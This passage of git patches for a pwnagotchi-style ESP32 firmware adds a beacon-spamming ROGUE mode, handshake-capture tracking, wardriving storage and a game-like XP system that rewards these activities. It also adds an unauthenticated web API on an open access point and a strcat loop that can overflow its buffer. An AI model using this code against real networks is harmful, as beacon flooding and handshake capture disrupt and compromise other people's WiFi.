vTaskDelay(pdMS_TO_TICKS(200)); + + ret = esp_wifi_set_mode(WIFI_MODE_AP); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + // Set channel 6 (standard, less congested) + ret = esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi channel set failed: %d", ret); + } + vTaskDelay(pdMS_TO_TICKS(100)); + + ret = esp_wifi_start(); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi start failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(500)); + + _wifiInitialized = true; + _beaconSpamming = true; + xTaskCreate(beaconTask, "beacon_task", 4096, NULL, 5, &_beaconTaskHandle); + + ESP_LOGI(TAG, "ROGUE mode active - ready to send beacons"); +} + +void stopRogue() { + if (!_beaconSpamming) return; + + _beaconSpamming = false; + + if (_beaconTaskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _beaconTaskHandle = nullptr; + } + + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + ESP_LOGI(TAG, "ROGUE mode stopped"); +} + +static esp_err_t root_handler(httpd_req_t* req) { + const char* html = + "" + "StackChan-Gotchi" + "" + "" + "" + "

StackChan-Gotchi

" + "" + "
" + + "" + "
" + "
" + "

Current: Loading...

" + "

Level: - | XP: - | Nets: -

" + "
" + "
" + "

Mode Selection

" + " " + " " + "
" + "
" + "

Quick Actions

" + " " + " " + "
" + "
" + + "" + "
" + "
" + "

Player Stats

" + " " + " " + " " + " " + " " + " " + " " + " " + "
Level-
XP-
Networks-
Handshakes-
Prestige-
Uptime-
Achievements-
" + "
" + "
" + "

Session Stats

" + "

Session XP: -

" + "

Session Time: -

" + "
" + "
" + + "" + "
" + "
" + "

Discovered Networks

" + "
Loading...
" + "
" + "
" + + "" + "
" + "
" + "

Internal Storage

" + "

Mount: /sdcard (Internal Flash)

" + "

Free: Loading...

" + "

Total: ~2MB

" + "
" + "
" + "

Note

" + "

" + " SD card unavailable on CoreS3 (hardware pin conflict).
" + " Using internal flash FATFS partition.
" + " Files stored: config.json, networks.json, wardriving.csv, handshakes/, logs/" + "

" + "
" + "
" + + ""; + httpd_resp_set_type(req, "text/html"); + httpd_resp_send(req, html, strlen(html)); + return ESP_OK; +} + +static esp_err_t api_config_handler(httpd_req_t* req) { + if (req->method == HTTP_GET) { + Stats s = getStats(); + char json[256]; + snprintf(json, sizeof(json), + "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"apActive\":%s}", + getModeName(getCurrentMode()), + (int)s.level, + (int)s.xp, + isConfigMode() ? "true" : "false"); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + } else { + // POST - read body + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret > 0) { + content[ret] = '\0'; + // Simple parse - look for mode value + char* modeStart = strstr(content, "\"mode\""); + if (modeStart) { + char* colon = strchr(modeStart, ':'); + if (colon) { + char* quote = strchr(colon, '\"'); + if (quote) { + char* endQuote = strchr(quote + 1, '\"'); + if (endQuote) { + *endQuote = '\0'; + Mode newMode = Mode::IDLE; + if (strcmp(quote + 1, "SCOUT") == 0) newMode = Mode::SCOUT; + else if (strcmp(quote + 1, "HUNT") == 0) newMode = Mode::HUNT; + else if (strcmp(quote + 1, "WARDIVE") == 0) newMode = Mode::WARDIVE; + else if (strcmp(quote + 1, "SPECTRUM") == 0) newMode = Mode::SPECTRUM; + else if (strcmp(quote + 1, "BLE_SCAN") == 0) newMode = Mode::BLE_SCAN; + else if (strcmp(quote + 1, "ROGUE") == 0) newMode = Mode::ROGUE; + else if (strcmp(quote + 1, "STATS") == 0) newMode = Mode::STATS; + else if (strcmp(quote + 1, "IDLE") == 0) newMode = Mode::IDLE; + setMode(newMode); + + char resp[128]; + snprintf(resp, sizeof(resp), "{\"status\":\"ok\",\"mode\":\"%s\"}", getModeName(newMode)); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, resp, strlen(resp)); + return ESP_OK; + } + } + } + } + } + httpd_resp_send_err(req, HTTPD_400_BAD_REQUEST, "Invalid request"); + } + return ESP_OK; +} + +static esp_err_t api_stats_handler(httpd_req_t* req) { + Stats s = getStats(); + std::vector networks = getNetworks(); + + // Build networks list JSON + char networksJson[1024] = "["; + int count = 0; + for (const auto& n : networks) { + if (count > 0) strcat(networksJson, ","); + char entry[128]; + snprintf(entry, sizeof(entry), "{\"ssid\":\"%.20s\",\"ch\":%d,\"rssi\":%d}", + n.ssid, n.channel, (int)n.rssi); + strcat(networksJson, entry); + count++; + if (count >= 20) break; // Limit to 20 networks + } + strcat(networksJson, "]"); + + uint32_t sessionTime = (GetHAL().millis() - s.sessionStartTime) / 1000; + uint32_t sessionMins = sessionTime / 60; + uint32_t sessionSecs = sessionTime % 60; + + char json[2048]; + snprintf(json, sizeof(json), + "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"networks\":%u," + "\"rogue\":%s,\"config\":%s,\"heap\":%u," + "\"handshakes\":%u,\"prestige\":%u,\"uptime\":\"%02uh%02um\"," + "\"achievements\":%u,\"sessionXP\":%d,\"sessionTime\":\"%02u:%02u\"," + "\"sessionNetworks\":%u,\"networksList\":%s}", + getModeName(getCurrentMode()), + (int)s.level, + (int)s.xp, + (unsigned int)networks.size(), + isBeaconSpamming() ? "true" : "false", + isConfigMode() ? "true" : "false", + (unsigned int)esp_get_free_heap_size(), + (unsigned int)s.handshakesCaptured, + (unsigned int)s.prestige, + (unsigned int)(s.uptimeSeconds / 3600), + (unsigned int)((s.uptimeSeconds % 3600) / 60), + (unsigned int)s.achievementCount, + (int)s.sessionXPGain, + (unsigned int)sessionMins, (unsigned int)sessionSecs, + (unsigned int)s.sessionNetworks, + networksJson); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +static esp_err_t api_rogue_handler(httpd_req_t* req) { + if (isBeaconSpamming()) { + stopRogue(); + } + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"stopped\"}", 18); + return ESP_OK; +} + +static esp_err_t api_files_handler(httpd_req_t* req) { + // Return basic storage info + char json[512]; + int64_t freeSpace = gotchi::getStorageFreeSpace(); + int64_t totalSpace = 2 * 1024 * 1024; // ~2MB estimate + + snprintf(json, sizeof(json), + "{\"freeSpace\":%lld,\"totalSpace\":%lld,\"mountPoint\":\"%s\"}", + (long long)freeSpace, (long long)totalSpace, "/sdcard"); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +static void startHttpServer() { + httpd_config_t config = HTTPD_DEFAULT_CONFIG(); + config.server_port = 80; + config.stack_size = 4096; + + httpd_uri_t root_uri = {.uri = "/", .method = HTTP_GET, .handler = root_handler, .user_ctx = nullptr}; + httpd_uri_t api_config_uri = {.uri = "/api/config", .method = HTTP_GET, .handler = api_config_handler, .user_ctx = nullptr}; + httpd_uri_t api_config_post_uri = {.uri = "/api/config", .method = HTTP_POST, .handler = api_config_handler, .user_ctx = nullptr}; + httpd_uri_t api_stats_uri = {.uri = "/api/stats", .method = HTTP_GET, .handler = api_stats_handler, .user_ctx = nullptr}; + httpd_uri_t api_rogue_uri = {.uri = "/api/rogue", .method = HTTP_POST, .handler = api_rogue_handler, .user_ctx = nullptr}; + httpd_uri_t api_files_uri = {.uri = "/api/files", .method = HTTP_GET, .handler = api_files_handler, .user_ctx = nullptr}; + + if (httpd_start(&_httpServer, &config) == ESP_OK) { + httpd_register_uri_handler(_httpServer, &root_uri); + httpd_register_uri_handler(_httpServer, &api_config_uri); + httpd_register_uri_handler(_httpServer, &api_config_post_uri); + httpd_register_uri_handler(_httpServer, &api_stats_uri); + httpd_register_uri_handler(_httpServer, &api_rogue_uri); + httpd_register_uri_handler(_httpServer, &api_files_uri); + ESP_LOGI(TAG, "HTTP server started with API endpoints"); + } else { + ESP_LOGW(TAG, "HTTP server failed"); + } +} + +static void configModeTask(void* param) { + (void)param; + ESP_LOGI(TAG, "Config mode starting..."); + vTaskDelay(pdMS_TO_TICKS(500)); + startHttpServer(); + ESP_LOGI(TAG, "Config mode ready - visit http://192.168.4.1"); + while (_configModeActive) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + vTaskDelete(NULL); +} + +void startConfigMode() { + if (_configModeActive) return; + + ESP_LOGI(TAG, "Starting CONFIG mode"); + + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(200)); + + // Only init if not already done - handle case where event loop exists + // Note: netif_initialized is shared with startRogue + static bool netif_initialized = false; + static bool ap_netif_created = false; + if (!netif_initialized) { + esp_err_t err = esp_netif_init(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_netif_init failed: %d", err); + } + + err = esp_event_loop_create_default(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_event_loop_create_default failed: %d", err); + } + + netif_initialized = true; + } + + // Try to get existing AP netif first (handles case from ROGUE mode) + if (!_ap_netif_handle) { + _ap_netif_handle = esp_netif_get_default_netif(); + } + + // If still no handle, try to create one + if (!_ap_netif_handle) { + _ap_netif_handle = esp_netif_create_default_wifi_ap(); + if (_ap_netif_handle) { + ap_netif_created = true; + ESP_LOGI(TAG, "AP netif created for CONFIG"); + } + } else { + ESP_LOGI(TAG, "Using existing AP netif for CONFIG"); + ap_netif_created = true; + } + + // Re-init WiFi to ensure clean state + esp_wifi_deinit(); + vTaskDelay(pdMS_TO_TICKS(100)); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(200)); + + ret = esp_wifi_set_mode(WIFI_MODE_AP); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + // Set channel before config + ret = esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi channel set failed: %d", ret); + } + + wifi_config_t ap_config = {}; + strcpy((char*)ap_config.ap.ssid, "StackChan-Config"); + ap_config.ap.ssid_len = 16; + ap_config.ap.channel = 6; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.max_connection = 4; + + ret = esp_wifi_set_config(WIFI_IF_AP, &ap_config); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "AP config failed: %d", ret); + } + + ret = esp_wifi_start(); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi start failed: %d", ret); + return; + } + + vTaskDelay(pdMS_TO_TICKS(1000)); + + _wifiInitialized = true; + _configModeActive = true; + xTaskCreate(configModeTask, "config_task", 4096, NULL, 5, &_configTaskHandle); + + ESP_LOGI(TAG, "CONFIG mode active - connect to 'StackChan-Config'"); +} + +void stopConfigMode() { + if (!_configModeActive) return; + + _configModeActive = false; + + if (_configTaskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _configTaskHandle = nullptr; + } + + if (_httpServer) { + httpd_stop(_httpServer); + _httpServer = nullptr; + } + + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + ESP_LOGI(TAG, "CONFIG mode stopped"); +} + +bool isBeaconSpamming() { + return _beaconSpamming; +} + +bool isConfigMode() { + return _configModeActive; +} + +bool shouldShowHuntDisclaimer() { + static bool shown = false; + return !shown; +} + +void acknowledgeHuntDisclaimer() { + // Implementation - disclaimer has been shown +} + +bool isDeepThoughtUnlocked() { + return _level >= 5; +} + +uint32_t getAchievementsBitmask() { + return 0; +} + +bool getDailyChallenge(ChallengeInfo& challenge) { + challenge = {"Daily Scan", "Scan 10 networks", 50, true, false}; + return true; +} + } \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.h b/firmware/main/gotchi/gotchi.h index 7364f1a..54ee1f1 100644 --- a/firmware/main/gotchi/gotchi.h +++ b/firmware/main/gotchi/gotchi.h @@ -16,11 +16,14 @@ namespace gotchi { enum class Mode { IDLE, - SNIFF, SCOUT, + HUNT, WARDIVE, SPECTRUM, - BLE_SNIFF + BLE_SCAN, + ROGUE, + STATS, + CONFIG }; enum class Mood { @@ -67,9 +70,47 @@ std::vector getHandshakes(); int getHandshakeCount(); bool hasCompleteHandshake(const uint8_t* bssid); +struct ChannelInfo { + uint8_t channel; + uint8_t networkCount; + int8_t maxRssi; + int8_t avgRssi; +}; + +std::vector getChannelAnalysis(); + +bool hasStorage(); + +const char* getModeName(Mode mode); +const char* getLevelTitle(int level); +int getXPForLevel(int level); +int getXPProgress(int32_t xp, int level); +bool isDeepThoughtUnlocked(); +uint8_t getPrestige(); +uint32_t getAchievementCount(); +uint32_t getAchievementsBitmask(); // Get full achievement bitmask + +// Challenge system +struct ChallengeInfo { + const char* name; + const char* description; + int32_t xpReward; + bool isDaily; + bool isOneTime; +}; + +bool getDailyChallenge(ChallengeInfo& challenge); +bool completeDailyChallenge(); +bool hasCompletedOneTimeChallenge(int id); +bool completeOneTimeChallenge(int id); +void refreshDailyChallenge(); + +// Stats extended struct Stats { int32_t xp; int32_t level; + uint32_t prestige; + uint32_t achievementCount; uint32_t networksFound; uint32_t handshakesCaptured; uint32_t channelsScanned; @@ -91,22 +132,6 @@ struct Stats { double gpsLon; }; -struct ChannelInfo { - uint8_t channel; - uint8_t networkCount; - int8_t maxRssi; - int8_t avgRssi; -}; - -std::vector getChannelAnalysis(); - -bool hasStorage(); - -const char* getModeName(Mode mode); -const char* getLevelTitle(int level); -int getXPForLevel(int level); -int getXPProgress(int32_t xp, int level); // Returns progress to next level as percentage (0-100) - void init(); void update(); void shutdown(); @@ -120,6 +145,8 @@ Mood getCurrentMood(); Stats getStats(); GotchiConfig getConfig(); void addXP(int32_t amount); +bool shouldShowHuntDisclaimer(); +void acknowledgeHuntDisclaimer(); std::vector getNetworks(); @@ -127,8 +154,14 @@ void startSniff(); void stopSniff(); void startScout(); void stopScout(); +void startRogue(); +void stopRogue(); +void startConfigMode(); +void stopConfigMode(); bool isSniffing(); +bool isBeaconSpamming(); +bool isConfigMode(); std::vector getBLEDevices(); void startBLEScan(); diff --git a/firmware/main/gotchi/idle_dialogue.cpp b/firmware/main/gotchi/idle_dialogue.cpp index 537ce00..d59e606 100644 --- a/firmware/main/gotchi/idle_dialogue.cpp +++ b/firmware/main/gotchi/idle_dialogue.cpp @@ -250,11 +250,11 @@ const char* IdleDialogue::getModeChangePhrase(Mode mode) { // Map mode to index range int offset = 0; switch (mode) { - case Mode::SNIFF: offset = 0; break; // 0-1 + case Mode::HUNT: offset = 0; break; // 0-1 case Mode::SCOUT: offset = 2; break; // 2-3 case Mode::WARDIVE: offset = 4; break; // 4-5 case Mode::SPECTRUM: offset = 6; break; // 6-7 - case Mode::BLE_SNIFF: offset = 6; break; // 6-7 (reuse SPECTRUM) + case Mode::BLE_SCAN: offset = 6; break; // 6-7 (reuse SPECTRUM) case Mode::IDLE: offset = 8; break; // 8-9 default: offset = 8; } diff --git a/firmware/main/gotchi/storage.cpp b/firmware/main/gotchi/storage.cpp index c074fb3..2f6a87e 100644 --- a/firmware/main/gotchi/storage.cpp +++ b/firmware/main/gotchi/storage.cpp @@ -4,9 +4,11 @@ */ #include "storage.h" #include "gotchi.h" +#include #include #include #include +#include #include #include #include @@ -147,7 +149,7 @@ bool loadConfig(GotchiConfig& config) { if (!_sdAvailable) return false; char path[128]; - snprintf(path, sizeof(path), "%s/config/gotchi.conf", MOUNT_POINT); + snprintf(path, sizeof(path), "%s/config.json", MOUNT_POINT); FILE* f = fopen(path, "r"); if (!f) { @@ -155,23 +157,77 @@ bool loadConfig(GotchiConfig& config) { return false; } - if (fgets(config.wigleApiKey, sizeof(config.wigleApiKey), f)) { - config.wigleApiKey[strcspn(config.wigleApiKey, "\r\n")] = 0; - } - if (fgets(config.wigleUsername, sizeof(config.wigleUsername), f)) { - config.wigleUsername[strcspn(config.wigleUsername, "\r\n")] = 0; + // Read file content + fseek(f, 0, SEEK_END); + long fileSize = ftell(f); + fseek(f, 0, SEEK_SET); + + char* jsonBuffer = (char*)malloc(fileSize + 1); + if (!jsonBuffer) { + fclose(f); + return false; } - if (fgets(config.wpasecKey, sizeof(config.wpasecKey), f)) { - config.wpasecKey[strcspn(config.wpasecKey, "\r\n")] = 0; + + size_t bytesRead = fread(jsonBuffer, 1, fileSize, f); + jsonBuffer[bytesRead] = '\0'; + fclose(f); + + // Parse JSON + ArduinoJson::JsonDocument doc; + ArduinoJson::DeserializationError error = ArduinoJson::deserializeJson(doc, jsonBuffer); + free(jsonBuffer); + + if (error) { + ESP_LOGW(TAG, "Config JSON parse failed: %s", error.c_str()); + return false; } - char line[32]; - if (fgets(line, sizeof(line), f)) config.autoWigleUpload = (bool)atoi(line); - if (fgets(line, sizeof(line), f)) config.autoWpasecUpload = (bool)atoi(line); - if (fgets(line, sizeof(line), f)) config.logRotationDays = atoi(line); - if (fgets(line, sizeof(line), f)) config.maxNetworks = atoi(line); + // Load values with defaults + if (doc["defaultMode"].is()) { + strncpy(config.defaultMode, doc["defaultMode"].as(), 15); + config.defaultMode[15] = '\0'; + } + if (doc["neonBrightness"].is()) { + config.neonBrightness = doc["neonBrightness"].as(); + } + if (doc["headSpeed"].is()) { + config.headSpeed = doc["headSpeed"].as(); + } + if (doc["autoRotateModes"].is()) { + config.autoRotateModes = doc["autoRotateModes"].as(); + } + if (doc["audioEnabled"].is()) { + config.audioEnabled = doc["audioEnabled"].as(); + } + if (doc["wigleApiKey"].is()) { + strncpy(config.wigleApiKey, doc["wigleApiKey"].as(), 127); + config.wigleApiKey[127] = '\0'; + } + if (doc["wigleUsername"].is()) { + strncpy(config.wigleUsername, doc["wigleUsername"].as(), 63); + config.wigleUsername[63] = '\0'; + } + if (doc["wpasecKey"].is()) { + strncpy(config.wpasecKey, doc["wpasecKey"].as(), 127); + config.wpasecKey[127] = '\0'; + } + if (doc["autoWigleUpload"].is()) { + config.autoWigleUpload = doc["autoWigleUpload"].as(); + } + if (doc["autoWpasecUpload"].is()) { + config.autoWpasecUpload = doc["autoWpasecUpload"].as(); + } + if (doc["logRotationDays"].is()) { + config.logRotationDays = doc["logRotationDays"].as(); + } + if (doc["maxNetworks"].is()) { + config.maxNetworks = doc["maxNetworks"].as(); + } + if (doc["huntDisclaimerShown"].is()) { + config.huntDisclaimerShown = doc["huntDisclaimerShown"].as(); + } - fclose(f); + ESP_LOGI(TAG, "Config loaded from JSON"); return true; } @@ -179,24 +235,38 @@ bool saveConfig(const GotchiConfig& config) { if (!_sdAvailable) return false; char dir_path[128]; - snprintf(dir_path, sizeof(dir_path), "%s/config", MOUNT_POINT); + snprintf(dir_path, sizeof(dir_path), "%s", MOUNT_POINT); mkdir_recursive(dir_path); char path[128]; - snprintf(path, sizeof(path), "%s/config/gotchi.conf", MOUNT_POINT); + snprintf(path, sizeof(path), "%s/config.json", MOUNT_POINT); + + ArduinoJson::JsonDocument doc; + doc["defaultMode"] = config.defaultMode; + doc["neonBrightness"] = config.neonBrightness; + doc["headSpeed"] = config.headSpeed; + doc["autoRotateModes"] = config.autoRotateModes; + doc["audioEnabled"] = config.audioEnabled; + doc["wigleApiKey"] = config.wigleApiKey; + doc["wigleUsername"] = config.wigleUsername; + doc["wpasecKey"] = config.wpasecKey; + doc["autoWigleUpload"] = config.autoWigleUpload; + doc["autoWpasecUpload"] = config.autoWpasecUpload; + doc["logRotationDays"] = config.logRotationDays; + doc["maxNetworks"] = config.maxNetworks; + doc["huntDisclaimerShown"] = config.huntDisclaimerShown; + + // Serialize to string first, then write to file + std::string jsonStr; + ArduinoJson::serializeJson(doc, jsonStr); FILE* f = fopen(path, "w"); if (!f) return false; - fprintf(f, "%s\n", config.wigleApiKey); - fprintf(f, "%s\n", config.wigleUsername); - fprintf(f, "%s\n", config.wpasecKey); - fprintf(f, "%d\n", config.autoWigleUpload); - fprintf(f, "%d\n", config.autoWpasecUpload); - fprintf(f, "%d\n", config.logRotationDays); - fprintf(f, "%d\n", config.maxNetworks); - + fprintf(f, "%s", jsonStr.c_str()); fclose(f); + + ESP_LOGI(TAG, "Config saved to JSON"); return true; } diff --git a/firmware/main/gotchi/storage.h b/firmware/main/gotchi/storage.h index 18df339..789e98e 100644 --- a/firmware/main/gotchi/storage.h +++ b/firmware/main/gotchi/storage.h @@ -4,6 +4,7 @@ */ #pragma once #include +#include #include #include @@ -13,6 +14,11 @@ static const size_t MAX_STORED_NETWORKS = 5000; static const int MAX_LOG_FILES = 5; struct GotchiConfig { + char defaultMode[16]; + int neonBrightness; + int headSpeed; + bool autoRotateModes; + bool audioEnabled; char wigleApiKey[128]; char wigleUsername[64]; char wpasecKey[128]; @@ -20,8 +26,14 @@ struct GotchiConfig { bool autoWpasecUpload; int logRotationDays; int maxNetworks; + bool huntDisclaimerShown; GotchiConfig() { + strcpy(defaultMode, "SCOUT"); + neonBrightness = 255; + headSpeed = 1; + autoRotateModes = false; + audioEnabled = true; wigleApiKey[0] = '\0'; wigleUsername[0] = '\0'; wpasecKey[0] = '\0'; @@ -29,6 +41,7 @@ struct GotchiConfig { autoWpasecUpload = false; logRotationDays = 7; maxNetworks = MAX_STORED_NETWORKS; + huntDisclaimerShown = false; } }; From 8a537c6c58ae026334b690d78ac2d6183532c139 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 08:57:39 +0100 Subject: [PATCH 05/17] readme fix --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index eea087a..3f870a7 100644 --- a/README.md +++ b/README.md @@ -125,5 +125,5 @@ This tool is for **educational and security research purposes only**. ## References - StackChan: https://github.com/M5Stack/M5Stack-StackChan -- M5PORKCHOP: https://github.com/M-Tech-Innovation/M5PORKCHOP -- M5Gotchi: https://github.com/xenon-mastodon/M5Gotchi \ No newline at end of file +- M5PORKCHOP: https://github.com/0ct0sec/M5PORKCHOP +- M5Gotchi: https://github.com/Devsur11/M5Gotchi/ \ No newline at end of file From 462183c517aec6fcb8d1b9fe0634cc01d3ae5949 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 16:38:38 +0100 Subject: [PATCH 06/17] lots of changs sorting out project structure --- README.md | 4 +- firmware/main/apps/app_gotchi/app_gotchi.cpp | 6 + firmware/main/gotchi/achievement_system.cpp | 136 +++++++++++ firmware/main/gotchi/achievement_system.h | 39 +++ firmware/main/gotchi/gotchi.cpp | 241 ++++++++++++------- firmware/main/gotchi/gotchi.h | 103 +++++--- firmware/main/gotchi/gps.cpp | 230 +++++++++--------- firmware/main/gotchi/gps.h | 37 ++- firmware/main/gotchi/idle_dialogue.h | 2 +- firmware/main/gotchi/web_manager.h | 52 ++++ firmware/main/gotchi/xp_system.cpp | 134 +++++++++++ firmware/main/gotchi/xp_system.h | 40 +++ 12 files changed, 766 insertions(+), 258 deletions(-) create mode 100644 firmware/main/gotchi/achievement_system.cpp create mode 100644 firmware/main/gotchi/achievement_system.h create mode 100644 firmware/main/gotchi/web_manager.h create mode 100644 firmware/main/gotchi/xp_system.cpp create mode 100644 firmware/main/gotchi/xp_system.h diff --git a/README.md b/README.md index 3f870a7..a5abc9a 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,7 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo **Hardware**: M5Stack CoreS3 (ESP32-S3, 16MB Flash, 8MB PSRAM) + GPS Unit (optional) **Inspiration**: +- [pwnagotchi] (https://github.com/evilsocket/pwnagotchi) - the original security "gotchi" for rPi - [M5PORKCHOP](https://github.com/M-Tech-Innovation/M5PORKCHOP) - Gamification, XP system, multiple modes, personality - [M5Gotchi](https://github.com/xenon-mastodon/M5Gotchi) - Pwnagotchi UI, auto mode, web interface @@ -126,4 +127,5 @@ This tool is for **educational and security research purposes only**. - StackChan: https://github.com/M5Stack/M5Stack-StackChan - M5PORKCHOP: https://github.com/0ct0sec/M5PORKCHOP -- M5Gotchi: https://github.com/Devsur11/M5Gotchi/ \ No newline at end of file +- M5Gotchi: https://github.com/Devsur11/M5Gotchi/ +- (THE OG) pwnagotchi: https://github.com/evilsocket/pwnagotchi \ No newline at end of file diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index 28e7311..cd4681a 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -529,6 +529,12 @@ void AppGotchi::updateHeadAnimation() { idleDir = !idleDir; _headPitchOffset = (now / 4000 % 2) ? 30 : -30; } else if (_currentMode == gotchi::Mode::HUNT) { + // Reset label to default before applying mode-specific styling + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); + _networkListLabel->setTextColor(lv_color_hex(0x00FF00)); + auto networks = gotchi::getNetworks(); int netCount = networks.size(); diff --git a/firmware/main/gotchi/achievement_system.cpp b/firmware/main/gotchi/achievement_system.cpp new file mode 100644 index 0000000..57dc8a9 --- /dev/null +++ b/firmware/main/gotchi/achievement_system.cpp @@ -0,0 +1,136 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "achievement_system.h" +#include +#include +#include +#include + +static const char* TAG = "gotchi_achievements"; + +namespace gotchi { + +const char* AchievementSystem::DAILY_CHALLENGES[][3] = { + {"Network Hunter", "Find 5 networks", "5"}, + {"Scanner", "Scan for 10 minutes", "10"}, + {"Signal Seeker", "Find a network with RSSI > -50", "-50"}, + {"First Catch", "Capture 1 handshake", "1"}, + {"Channel Surfer", "Visit 3 different channels", "3"}, + {"BLE Explorer", "Find 3 BLE devices", "3"}, + {"Persistence", "Run for 30 minutes", "30"}, + {"Multi-Channel", "Scan 5 different channels", "5"}, +}; + +AchievementSystem::AchievementSystem() + : _achievementsBitmask(0), _achievementCount(0), + _dailyChallengeSeed(0), _dailyChallengeCompleted(false), + _initialized(false) {} + +void AchievementSystem::init() { + if (_initialized) return; + loadFromNVS(); + _initialized = true; + ESP_LOGI(TAG, "Achievement System initialized: %u achievements", _achievementCount); +} + +void AchievementSystem::update(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config) { + uint32_t oldAchievements = _achievementsBitmask; + + checkUnlockAchievements(networksFound, handshakes, uptimeHours, mode, rogue, config); + + if (_achievementsBitmask != oldAchievements) { + _achievementCount = __builtin_popcount(_achievementsBitmask); + saveToNVS(); + ESP_LOGI(TAG, "Achievement unlocked! Total: %u", _achievementCount); + } +} + +void AchievementSystem::checkUnlockAchievements(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config) { + if (networksFound >= 1) _achievementsBitmask |= (1 << 0); + if (networksFound >= 10) _achievementsBitmask |= (1 << 1); + if (networksFound >= 50) _achievementsBitmask |= (1 << 2); + if (networksFound >= 100) _achievementsBitmask |= (1 << 3); + if (networksFound >= 500) _achievementsBitmask |= (1 << 4); + + if (handshakes >= 1) _achievementsBitmask |= (1 << 5); + if (handshakes >= 5) _achievementsBitmask |= (1 << 6); + if (handshakes >= 10) _achievementsBitmask |= (1 << 7); + if (handshakes >= 25) _achievementsBitmask |= (1 << 8); + + if (uptimeHours >= 1) _achievementsBitmask |= (1 << 9); + if (uptimeHours >= 24) _achievementsBitmask |= (1 << 10); + if (uptimeHours >= 168) _achievementsBitmask |= (1 << 11); + + if (mode == Mode::SCOUT) _achievementsBitmask |= (1 << 12); + if (mode == Mode::HUNT) _achievementsBitmask |= (1 << 13); + if (mode == Mode::WARDIVE) _achievementsBitmask |= (1 << 14); + if (mode == Mode::BLE_SCAN) _achievementsBitmask |= (1 << 15); + + if (rogue) _achievementsBitmask |= (1 << 16); + if (config) _achievementsBitmask |= (1 << 17); +} + +bool AchievementSystem::getDailyChallenge(ChallengeInfo& challenge) { + time_t now = time(nullptr); + struct tm* tm_info = localtime(&now); + int dayOfYear = tm_info->tm_yday; + + _dailyChallengeSeed = dayOfYear; + + int challengeIndex = dayOfYear % 8; + challenge.name = DAILY_CHALLENGES[challengeIndex][0]; + challenge.description = DAILY_CHALLENGES[challengeIndex][1]; + challenge.xpReward = atoi(DAILY_CHALLENGES[challengeIndex][2]) * 5; + challenge.isDaily = true; + challenge.isOneTime = false; + + return true; +} + +bool AchievementSystem::completeDailyChallenge() { + if (_dailyChallengeCompleted) return false; + + _dailyChallengeCompleted = true; + saveToNVS(); + + ChallengeInfo challenge; + if (getDailyChallenge(challenge)) { + ESP_LOGI(TAG, "Daily challenge completed! +%d XP", (int)challenge.xpReward); + } + + return true; +} + +void AchievementSystem::loadFromNVS() { + nvs_handle_t nvs; + if (nvs_open("gotchi", NVS_READONLY, &nvs) != ESP_OK) return; + + uint32_t val = 0; + if (nvs_get_u32(nvs, "achievements", &val) == ESP_OK) { + _achievementsBitmask = val; + _achievementCount = __builtin_popcount(val); + } + if (nvs_get_u32(nvs, "dailyseed", &val) == ESP_OK) { + _dailyChallengeSeed = val; + } + if (nvs_get_u32(nvs, "dailydone", &val) == ESP_OK) { + _dailyChallengeCompleted = (val == 1); + } + + nvs_close(nvs); +} + +void AchievementSystem::saveToNVS() { + nvs_handle_t nvs; + if (nvs_open("gotchi", NVS_READWRITE, &nvs) != ESP_OK) return; + + 